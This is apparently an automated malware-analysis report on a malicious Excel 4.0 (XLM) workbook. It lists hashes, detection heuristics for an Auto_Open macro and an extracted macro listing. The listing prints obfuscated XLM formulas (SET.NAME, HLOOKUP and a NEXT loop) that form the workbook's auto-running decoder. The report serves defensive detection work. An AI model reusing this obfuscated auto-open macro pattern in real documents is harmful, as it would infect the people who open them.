Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 288376be0ee37c18…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:00 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 047b06f4e922f6623317438f5a0c2031 SHA-1: 971e93c8164c65042a334a86fd2880fc04a8ba9b SHA-256: 288376be0ee37c18bdf8938b67e34d27c795b4cd104c636519992cadb9bbbb7e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6831 bytes
SHA-256: 33f7536e62bc8240f37d63825c7f1084aadc8f689d1c1fa8b9c82da7ae00b9b4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MynmBjQK
' 0018     23 LABEL : Cell Value, String Constant - aLtUBWoU len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G168 
' 0018     27 LABEL : Cell Value, String Constant - BjOujyyYHtaz len=0 
' 0018     26 LABEL : Cell Value, String Constant - cOIvsgXqcFj len=0 
' 0018     21 LABEL : Cell Value, String Constant - EgewsC len=0 
' 0018     23 LABEL : Cell Value, String Constant - gBIZEVrX len=0 
' 0018     27 LABEL : Cell Value, String Constant - gtnWiLSMToBN len=0 
' 0018     27 LABEL : Cell Value, String Constant - JNGOgCoJDupP len=0 
' 0018     26 LABEL : Cell Value, String Constant - kjWZXrXRNWn len=0 
' 0018     25 LABEL : Cell Value, String Constant - kRSRBdkjPJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - KXoEVGG len=0 
' 0018     22 LABEL : Cell Value, String Constant - lLjamMg len=0 
' 0018     23 LABEL : Cell Value, String Constant - MwXdzrOl len=0 
' 0018     20 LABEL : Cell Value, String Constant - njQYU len=0 
' 0018     20 LABEL : Cell Value, String Constant - NpVVB len=0 
' 0018     23 LABEL : Cell Value, String Constant - PeLuFpfQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - VjQMAucDweH len=0 
' 0018     20 LABEL : Cell Value, String Constant - xhVim len=0 
' 0018     26 LABEL : Cell Value, String Constant - ybXVBGMZfmJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZkqBCHCStIdK len=0 
' 0018     24 LABEL : Cell Value, String Constant - zUgSgIalj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MynmBjQK,Q72,"",-329.00000000000000000000
'  MynmBjQK,Q73,"",225.00000000000000000000
'  MynmBjQK,Q74,"",493.00000000000000000000
'  MynmBjQK,Q75,"",507.00000000000000000000
'  MynmBjQK,Q76,"",734.00000000000000000000
'  MynmBjQK,Q77,"",-440.00000000000000000000
'  MynmBjQK,G82,"SET.NAME("MwXdzrOl",0+VALUE("0"))",""
'  MynmBjQK,G85,"SET.NAME("aLtUBWoU",MwXdzrOl)",""
'  MynmBjQK,G88,"SET.NAME("BjOujyyYHtaz",MwXdzrOl)",""
'  MynmBjQK,G93,"SET.NAME("njQYU",COUNTA(ZkqBCHCStIdK))",""
'  MynmBjQK,G96,"SET.NAME("gtnWiLSMToBN",COUNTA(EgewsC))",""
'  MynmBjQK,G99,[],""
'  MynmBjQK,G103,"SET.NAME("VjQMAucDweH","")",""
'  MynmBjQK,G105,"aLtUBWoU",""
'  MynmBjQK,G108,"SET.NAME("zUgSgIalj",HLOOKUP("*",ZkqBCHCStIdK,aLtUBWoU,FALSE))",""
'  MynmBjQK,G112,"ybXVBGMZfmJ",""
'  MynmBjQK,G117,"SET.NAME("cOIvsgXqcFj",MwXdzrOl)",""
'  MynmBjQK,G119,[],""
'  MynmBjQK,G124,"cOIvsgXqcFj",""
'  MynmBjQK,G126,"xhVim",""
'  MynmBjQK,G130,"kjWZXrXRNWn",""
'  MynmBjQK,G134,"gBIZEVrX",""
'  MynmBjQK,G138,"SET.NAME("NpVVB",VALUE(HLOOKUP("*",EgewsC,gBIZEVrX,FALSE)))",""
'  MynmBjQK,G140,"kRSRBdkjPJ",""
'  MynmBjQK,G143,"VjQMAucDweH",""
'  MynmBjQK,G146,"BjOujyyYHtaz",""
'  MynmBjQK,G148,NEXT(),""
'  MynmBjQK,G151,"PeLuFpfQ",""
'  MynmBjQK,G154,[],""
'  MynmBjQK,G158,"KXoEVGG",""
'  MynmBjQK,G161,NEXT(),""
'  MynmBjQK,G166,RETURN(),""
'  MynmBjQK,G191,"SET.NAME("lLjamMg",G82)",""
'  MynmBjQK,G194,"ZkqBCHCStIdK",""
'  MynmBjQK,G198,"SET.NAME("EgewsC",R70C14)",""
'  MynmBjQK,G203,"SET.NAME("KXoEVGG",208)",""
'  MynmBjQK,G205,"SET.NAME("JNGOgCoJDupP",7)",""
'  MynmBjQK,G207,lLjamMg(),""
'  MynmBjQK,G208,HALT(),""

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